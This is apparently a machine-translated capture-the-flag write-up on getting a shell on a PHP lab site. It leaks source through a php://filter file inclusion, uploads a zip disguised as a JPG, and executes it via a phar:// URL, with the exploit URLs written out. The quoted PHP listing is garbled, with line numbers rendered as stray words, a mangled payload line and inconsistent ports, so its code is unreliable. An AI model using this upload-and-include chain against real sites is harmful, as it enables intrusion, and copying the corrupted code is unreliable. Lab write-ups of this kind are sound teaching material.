Remember a simple Getshell case

Source: Internet
Author: User

Case Link:

http://202.112.51.184:8007/

Open the link and find that multiple pages are divided:

One click, it is probably clear that the file is uploaded in the specified format and then in the search to make the file execution thus Getshell, observe found after clicking on each page "? page=xxx" word, view source code discovery and hidden PHP files:

Then enter:

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/ Resource=upload

Get a string of base64 codes:

After online decryption to get the Web page hidden source:

123<meta charset= "Utf-8" >4<?PHP5 $error=$_files[' Pic '] [' Error '];6 $tmpName=$_files[' Pic '] [' Tmp_name '];7 $name=$_files[' Pic '] [' Name '];8 $size=$_files[' Pic '] [' Size '];9 $type=mime_content_type ($tmpName);Ten Try{ One     if($name!=="") A     { -         $name 1=substr($name,-4); -         if(($name 1!== ". gif") and ($name 1!== ". jpg") and ($name 1!== '. Zip ')) the         { -             Echo"Hehe"; -             Echo"<script language=javascript>alert (' upload photos can only be jpg or gif! '); History.go ( -1) </script> "; -             Exit; +         } -         if($type!== "Image/jpeg" &&$type!== "Image/gif") +         { A             EchoMime_content_type ($tmpName); at             Echo"<script language=javascript>alert (' upload photos can only be jpg or gif! '); History.go ( -1) </script> "; -             Exit; -         } -         if(Is_uploaded_file($tmpName)){ -             $time= Time(); -             $rootpath= ' uploads/'.$time.$name 1; in             if(!Move_uploaded_file($tmpName,$rootpath)){ -             Echo"<script language= ' JavaScript ' >alert (' file move failed! '); window.location= ' index.php?page=submit ' </script> '; to             Exit; +         } -     } the     Echo"Picture ID:".$time; *     } $ }Panax Notoginseng Catch(Exception $e) - { the     Echo"ERROR"; + } A // the?> +

From the 14th line can be seen in fact also support zip file, think can start from here

Build a PHP file locally, which is intended to enable the site to parse the uploaded file after the execution of this code, that is, open the Phpinfo interface:

Phpinfo ();? >

After compressing it into a zip file, you can also change the format to a JPG upload to get the image ID:

Then remember the image ID and jump to the following page after the view page search:

At this time our PHP code has been executed, we can enter the following URL to get the Phpinfo page we need, that is, Getshell:

http://202.112.51.184:8007/INDEX.PHP?PAGE=PHAR://UPLOADS/1533638442.JPG/2

Remember a simple Getshell case

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.